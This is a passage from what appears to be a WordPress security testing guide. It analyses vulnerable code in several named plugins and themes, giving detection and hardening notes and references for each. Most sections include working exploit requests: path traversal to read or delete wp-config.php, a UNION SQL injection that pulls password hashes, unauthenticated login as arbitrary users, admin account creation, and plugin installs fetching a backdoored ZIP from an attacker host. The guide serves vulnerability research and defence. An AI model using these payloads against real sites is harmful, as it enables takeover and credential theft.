    539 * **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
    540 
    541 #### Exploitation
    542 
    543 The traversal lets an attacker escape the intended `litho-fonts` directory and delete files writable by the PHP/web-server account. On a typical layout, the following request targets `wp-config.php`:
    544 
    545 ```bash
    546 curl -X POST https://victim.com/wp-admin/admin-ajax.php \
    547      -d 'action=litho_remove_font_family_action_data' \
    548      -d 'fontfamily=../../../wp-config.php'
    549 ```
    550 
    551 From `<wp-root>/wp-content/uploads/litho-fonts/`, three `../` sequences reach the WordPress root. The required depth varies with the configured upload path. Deleting `wp-config.php` causes an outage and may expose a reconfiguration/install flow; turning that into takeover additionally depends on filesystem permissions and the attacker's ability to provide a reachable database configuration.
    552 
    553 Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
    554 
    555 #### Detection checklist
    556 
    557 * Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
    558 * Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
    559 * Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
    560 
    561 ---
    562 
    563 ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
    564 
    565 Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
    566 
    567 A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:<sup>[[3]](#references)[[4]](#references)</sup>
    568 
    569 ```php
    570 // Simplified vulnerable pattern
    571 if ( isset( $_REQUEST['reset-for'] ) ) {
    572     $reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
    573     $usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
    574 
    575     if ( in_array( $reset_for_username, $usernames, true ) ) {
    576         $u = get_user_by( 'login', $reset_for_username );
    577         foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
    578         $orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
    579         foreach ( $orig as $r ) { $u->add_role( $r ); }
    580     }
    581 }
    582 ```
    583 
    584 Why it’s exploitable
    585 
    586 - Trusts `$_REQUEST['reset-for']` and a plugin option without server-side authorization.
    587 - If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path.
    588 - In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization).
    589 
    590 Exploitation (example)
    591 
    592 ```bash
    593 # While logged in as the downgraded user (or any auth user able to trigger the code path),
    594 # hit any route that executes the role-switcher logic and include the reset parameter.
    595 # The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
    596 curl -s -k -b 'wordpress_logged_in=...' \
    597   'https://victim.example/wp-admin/?reset-for=<your_username>'
    598 ```
    599 
    600 On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
    601 
    602 Detection checklist
    603 
    604 - Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`).
    605 - Identify reset/restore paths that:
    606   - Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
    607   - Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
    608   - Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
    609 
    610 ---
    611 
    612 ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
    613 
    614 Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
    615 
    616 Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):<sup>[[8]](#references)[[9]](#references)</sup>
    617 
    618 ```php
    619 function service_finder_submit_user_form(){
    620     if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
    621         $user_id = intval( sanitize_text_field($_GET['switch_user']) );
    622         service_finder_switch_user($user_id);
    623     }
    624     if ( isset($_GET['switch_back']) ) {
    625         service_finder_switch_back();
    626     }
    627 }
    628 add_action('init', 'service_finder_submit_user_form');
    629 
    630 function service_finder_switch_back() {
    631     if ( isset($_COOKIE['original_user_id']) ) {
    632         $uid = intval($_COOKIE['original_user_id']);
    633         if ( get_userdata($uid) ) {
    634             wp_set_current_user($uid);
    635             wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
    636             do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
    637             setcookie('original_user_id', '', time() - 3600, '/');
    638             wp_redirect( admin_url('admin.php?page=candidates') );
    639             exit;
    640         }
    641         wp_die('Original user not found.');
    642     }
    643     wp_die('No original user found to switch back to.');
    644 }
    645 ```
    646 
    647 Why it’s exploitable
    648 
    649 - Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard).
    650 - Identity is derived from a client-modifiable cookie (`original_user_id`).
    651 - Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks.
    652 
    653 Exploitation (unauthenticated)
    654 
    655 ```http
    656 GET /?switch_back=1 HTTP/1.1
    657 Host: victim.example
    658 Cookie: original_user_id=1
    659 User-Agent: PoC
    660 Connection: close
    661 ```
    662 
    663 ---
    664 
    665 ### WAF considerations for WordPress/plugin CVEs
    666 
    667 Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.<sup>[[5]](#references)[[11]](#references)</sup>
    668 
    669 Offensive notes
    670 
    671 - Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
    672 - Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
    673 - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
    674 
    675 Defensive notes
    676 
    677 - Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
    678 - Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
    679 
    680 ## WordPress Protection
    681 
    682 ### Regular Updates
    683 
    684 Keep WordPress core, plugins, and themes up to date, with staging and backups appropriate to the deployment. Core updates can be configured in `wp-config.php`:
    685 
    686 ```bash
    687 define( 'WP_AUTO_UPDATE_CORE', true );
    688 ```
    689 
    690 Plugin and theme update filters belong in a plugin—preferably a must-use plugin—not directly in `wp-config.php`, because WordPress is not fully loaded there:<sup>[[28]](#references)</sup>
    691 
    692 ```php
    693 add_filter( 'auto_update_plugin', '__return_true' );
    694 add_filter( 'auto_update_theme', '__return_true' );
    695 ```
    696 
    697 Only install trusted, maintained WordPress plugins and themes, and remove components that are no longer needed.<sup>[[29]](#references)</sup>
    698 
    699 ### Security Plugins
    700 
    701 - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
    702 - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
    703 - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
    704 
    705 ### **Other Recommendations**
    706 
    707 - Rename or remove a predictable legacy **admin** account after ensuring another administrator exists; changing the username alone is not a primary defense.
    708 - Use **strong, unique passwords** and **2FA**.
    709 - Periodically review users and capabilities.
    710 - Rate-limit login attempts and monitor password guessing.
    711 - Restrict `/wp-login.php` and sensitive `/wp-admin/` routes by network or an additional authentication layer where operationally appropriate. Do not rename a nonexistent `wp-admin.php` core file, and account for required public endpoints such as `wp-admin/admin-ajax.php`.<sup>[[29]](#references)</sup>
    712 
    713 ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
    714 
    715 The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`:<sup>[[2]](#references)</sup>
    716 
    717 ```php
    718 $category  = WPJOBPORTALrequest::getVar('parentid');
    719 $inquery   = ' ';
    720 if ($category) {
    721     $inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
    722 }
    723 $query  = "SELECT max(ordering)+1 AS maxordering FROM "
    724         . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
    725 ```
    726 
    727 Issues introduced by this snippet:
    728 
    729 1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
    730 2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
    731 3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
    732 
    733 #### Exploitation
    734 
    735 1. Grab a fresh nonce:
    736    ```bash
    737    curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
    738    ```
    739 2. Inject arbitrary SQL by abusing `parentid`:
    740    ```bash
    741    curl -X POST https://victim.com/wp-admin/admin-post.php \
    742         -d 'task=savecategory' \
    743         -d '_wpnonce=<nonce>' \
    744         -d 'parentid=0 OR 1=1-- -' \
    745         -d 'cat_title=pwn' -d 'id='
    746    ```
    747    Confirm the injection using the response behavior documented for the affected version (for example, a controlled boolean or time-based difference); this particular query path does not inherently print arbitrary selected columns.
    748 
    749 ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
    750 
    751 Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal.  The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:<sup>[[2]](#references)</sup>
    752 
    753 ```php
    754 $file = $path . '/' . $file_name;
    755 ...
    756 echo $wp_filesystem->get_contents($file); // raw file output
    757 ```
    758 
    759 `$file_name` is attacker-controlled and concatenated **without sanitisation**.  Again, the only gate is a **CSRF nonce** that can be fetched from the resume page.
    760 
    761 #### Exploitation
    762 
    763 ```bash
    764 curl -G https://victim.com/wp-admin/admin-post.php \
    765      --data-urlencode 'task=downloadcustomfile' \
    766      --data-urlencode '_wpnonce=<nonce>' \
    767      --data-urlencode 'upload_for=resume' \
    768      --data-urlencode 'entity_id=1' \
    769      --data-urlencode 'file_name=../../../wp-config.php'
    770 ```
    771 The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
    772 
    773 ## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
    774 
    775 Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass.<sup>[[10]](#references)</sup>
    776 
    777 Typical flawed pattern (simplified)
    778 
    779 ```php
    780 public function check_login() {
    781     // ... request parsing ...
    782     switch ($_POST['using']) {
    783         case 'fb':     /* set $user_email from verified Facebook token */ break;
    784         case 'google': /* set $user_email from verified Google token   */ break;
    785         // other providers ...
    786         default: /* unsupported/missing provider – execution continues */ break;
    787     }
    788 
    789     // FALLBACK: trust POSTed "id" as email if provider data missing
    790     $user_email = !empty($user_email)
    791         ? $user_email
    792         : (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
    793 
    794     if (empty($user_email)) {
    795         wp_send_json(['status' => 'not_user']);
    796     }
    797 
    798     $user = get_user_by('email', $user_email);
    799     if ($user) {
    800         wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
    801         wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
    802     }
    803     wp_send_json(['status' => 'not_user']);
    804 }
    805 // add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
    806 ```
    807 
    808 Why it’s exploitable
    809 
    810 - Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
    811 - No nonce/capability checks before state change.
    812 - Missing OAuth/OpenID provider verification; default branch accepts attacker input.
    813 - get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) authenticates the requester as any existing email address.
    814 
    815 Exploitation (unauthenticated)
    816 
    817 - Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email.
    818 - Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
    819 
    820 ```http
    821 POST /wp-admin/admin-ajax.php HTTP/1.1
    822 Host: victim.tld
    823 Content-Type: application/x-www-form-urlencoded
    824 
    825 action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
    826 ```
    827 
    828 ```bash
    829 curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
    830   -d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
    831 ```
    832 
    833 Expected success indicators
    834 
    835 - HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
    836 - Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
    837 
    838 Finding the action name
    839 
    840 - Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
    841 - Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
    842 
    843 Detection checklist
    844 
    845 - Web logs showing unauthenticated `POST` requests to `/wp-admin/admin-ajax.php` with the social-login action and `id=<email>`.
    846 - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
    847 
    848 Hardening
    849 
    850 - Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
    851 - Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
    852 - Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
    853 - Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
    854 
    855 Patched behaviour (Jobmonster 4.8.0)
    856 
    857 - Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
    858 
    859 ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
    860 
    861 Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).<sup>[[12]](#references)</sup>
    862 
    863 - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
    864 - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
    865 - Impact: full takeover by chaining the minted key to internal privileged actions
    866 
    867 PoC – mint a connection key and use it
    868 
    869 ```bash
    870 # 1) Obtain key (unauthenticated). Exact payload varies per plugin
    871 curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
    872   -H 'Content-Type: application/json' \
    873   --data '{"username":"admin"}'
    874 # → {"key":"<conn_key>", ...}
    875 
    876 # 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
    877 curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
    878   -H 'Content-Type: application/json' \
    879   -H 'X-Connection-Key: <conn_key>' \
    880   --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
    881 ```
    882 
    883 Why it’s exploitable
    884 - Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
    885 - No capability enforcement; minted key is accepted as a universal bypass
    886 
    887 Detection checklist
    888 - Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
    889 - Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability
    890 - Look for subsequent routes that accept the minted token/key without server-side capability checks
    891 
    892 Hardening
    893 - For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability
    894 - Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use
    895 - Validate the caller's user context (`wp_set_current_user` is insufficient on its own) and reject requests where `!is_user_logged_in() || !current_user_can(<cap>)`.
    896 
    897 ---
    898 
    899 ## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
    900 
    901 Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.<sup>[[13]](#references)</sup>
    902 
    903 - Vulnerable path: plugin/install_and_activate
    904 - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
    905 - Impact: full compromise via arbitrary plugin install/activation
    906 
    907 PoC (shape depends on plugin; illustrative only)
    908 
    909 ```bash
    910 curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
    911   -H 'Content-Type: application/json' \
    912   --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
    913 ```
    914 
    915 Detection checklist
    916 - REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
    917 - Any code path that sets $skip_caps = true after nonce validation
    918 
    919 Hardening
    920 - Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
    921 - Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
    922 - Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
    923 
    924 ### Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81)
    925 
    926 [Patchstack's analysis](https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/) showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:<sup>[[16]](#references)</sup>
    927 
    928 ```php
    929 add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
    930 
    931 function mvl_theme_install_base() {
    932     check_ajax_referer('mvl_theme_install_base', 'nonce');
    933 
    934     $plugin_url  = sanitize_text_field($_GET['plugin']);
    935     $plugin_slug = 'motors-car-dealership-classified-listings';
    936 
    937     $upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
    938     $upgrader->install($plugin_url);
    939     mvl_theme_activate_plugin($plugin_slug);
    940 }
    941 ```
    942 
    943 - Only `check_ajax_referer()` is called; there is no `current_user_can('install_plugins')` or `current_user_can('activate_plugins')`.
    944 - The nonce is embedded in the Motors admin page, so any Subscriber that can open `/wp-admin/` can copy it from the HTML/JS.
    945 - The handler trusts the attacker-controlled `plugin` parameter (read from `$_GET`) and passes it into `Plugin_Upgrader::install()`, so an arbitrary remote ZIP is downloaded into `wp-content/plugins/`.
    946 - After installation the theme unconditionally calls `mvl_theme_activate_plugin()`, guaranteeing execution of the attacker plugin's PHP code.
    947 
    948 #### Exploitation flow
    949 
    950 1. Register/compromise a low-privileged account (Subscriber is enough) and grab the `mvl_theme_install_base` nonce from the Motors dashboard UI.
    951 2. Build a plugin ZIP whose top-level directory matches the expected slug `motors-car-dealership-classified-listings/` and embed a backdoor or webshell in the `*.php` entry points.
    952 3. Host the ZIP and trigger the installer by pointing the handler to your URL:
    953 
    954 ```http
    955 POST /wp-admin/admin-ajax.php HTTP/1.1
    956 Host: victim.tld
    957 Cookie: wordpress_logged_in_=...
    958 Content-Type: application/x-www-form-urlencoded
    959 
    960 action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
    961 ```
    962 
    963 Because the handler reads `$_GET['plugin']`, the same payload can also be sent via the query string.
    964 
    965 #### Detection checklist
    966 
    967 - Search themes/plugins for `Plugin_Upgrader`, `Theme_Upgrader`, or custom `install_plugin.php` helpers wired to `wp_ajax_*` hooks without capability checks.
    968 - Inspect any handler that takes a `plugin`, `package`, `source`, or `url` parameter and feeds it into upgrader APIs, especially when the slug is hard-coded but the ZIP contents are not validated.
    969 - Review admin pages that expose nonces for installer actions—if Subscribers can load the page, assume the nonce leaks.
    970 
    971 #### Hardening
    972 
    973 - Gate installer AJAX callbacks with `current_user_can('install_plugins')` and `current_user_can('activate_plugins')` after nonce verification; Motors 5.6.82 introduced this check to patch the bug.
    974 - Refuse untrusted URLs: limit installers to bundled ZIPs or trusted repositories, or enforce signed download manifests.
    975 - Treat nonces strictly as CSRF tokens; they do not provide authorization and should never replace capability checks.
    976 
    977 ---
    978 
    979 ## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
    980 
    981 Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.<sup>[[14]](#references)</sup>
    982 
    983 - Parameter: s (search)
    984 - Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
    985 - Impact: database exfiltration (users, hashes), lateral movement
    986 
    987 PoC
    988 
    989 ```bash
    990 # Replace action with the affected depicter-* handler on the target
    991 curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
    992   --data-urlencode 'action=depicter_search' \
    993   --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
    994 ```
    995 
    996 Detection checklist
    997 - Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
    998 - Review custom queries passed to $wpdb->get_results()/query() concatenating s
    999 
   1000 Hardening
   1001 - Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
   1002 - Add a strict allowlist for s and normalize to expected charset/length
   1003 
   1004 ---
   1005 
   1006 ## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
   1007 
   1008 Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.<sup>[[15]](#references)</sup>
   1009 
   1010 - Parameter: __kubio-site-edit-iframe-classic-template
   1011 - Flaw: no normalization/allowlisting; traversal permitted
   1012 - Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
   1013 
   1014 PoC – read wp-config.php
   1015 
   1016 ```bash
   1017 curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
   1018 ```
   1019 
   1020 Detection checklist
   1021 - Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
   1022 - Look for traversal patterns (../) reaching outside the intended templates directory
   1023 
   1024 Hardening
   1025 - Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
   1026 - Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths)
   1027 
   1028 
   1029 ## References
   1030 
   1031 - [1] [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
   1032 - [2] [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
   1033 - [3] [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
   1034 - [4] [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
   1035 - [5] [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
   1036 - [6] [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
   1037 - [7] [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
   1038 - [8] [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
   1039 - [9] [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
   1040 - [10] [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
   1041 - [11] [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
   1042 - [12] [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
   1043 - [13] [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
   1044 - [14] [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
   1045 - [15] [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
   1046 - [16] [Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites](https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/)
   1047 - [17] [nowak0x01.github.io - Papers](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)
   1048 - [18] [nowotarski.info - Wordpress Nonce Authorization](https://nowotarski.info/wordpress-nonce-authorization)
   1049 - [19] [XSS2Shell: WordPress Preauth XSS to RCE Chain](https://pwn.ai/blog/xss2shell)
   1050 - [20] [WordPress 7.0.3 security release](https://wordpress.org/news/2026/08/wordpress-7-0-3-release/)
   1051 - [21] [Editing `wp-config.php` – WordPress Advanced Administration Handbook](https://developer.wordpress.org/advanced-administration/wordpress/wp-config/)
   1052 - [22] [WordPress XML-RPC API and server implementation](https://developer.wordpress.org/reference/classes/wp_xmlrpc_server/)
   1053 - [23] [New XML Sitemaps Functionality in WordPress 5.5](https://make.wordpress.org/core/2020/07/22/new-xml-sitemaps-functionality-in-wordpress-5-5/)
   1054 - [24] [WordPress User Roles and Capabilities](https://developer.wordpress.org/apis/security/user-roles-and-capabilities/)
   1055 - [25] [`wp_xmlrpc_server::pingback_ping()` and safe remote URL validation](https://developer.wordpress.org/reference/classes/wp_xmlrpc_server/pingback_ping/)
   1056 - [26] [QuickPress WordPress request checks](https://github.com/t0gu/quickpress/blob/master/core/requests.go)
   1057 - [27] [WordPress nonces are not authorization](https://developer.wordpress.org/apis/security/nonces/)
   1058 - [28] [Configuring WordPress automatic background updates](https://developer.wordpress.org/advanced-administration/upgrade/upgrading/)
   1059 - [29] [Hardening WordPress](https://developer.wordpress.org/advanced-administration/security/hardening/)
   1060 - [30] [Must Use Plugins – WordPress Advanced Administration Handbook](https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/)
   1061 - [31] [Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect](https://research.checkpoint.com/2026/thousands-of-hacked-wordpress-sites-one-operation-unmasking-stopandprotect/)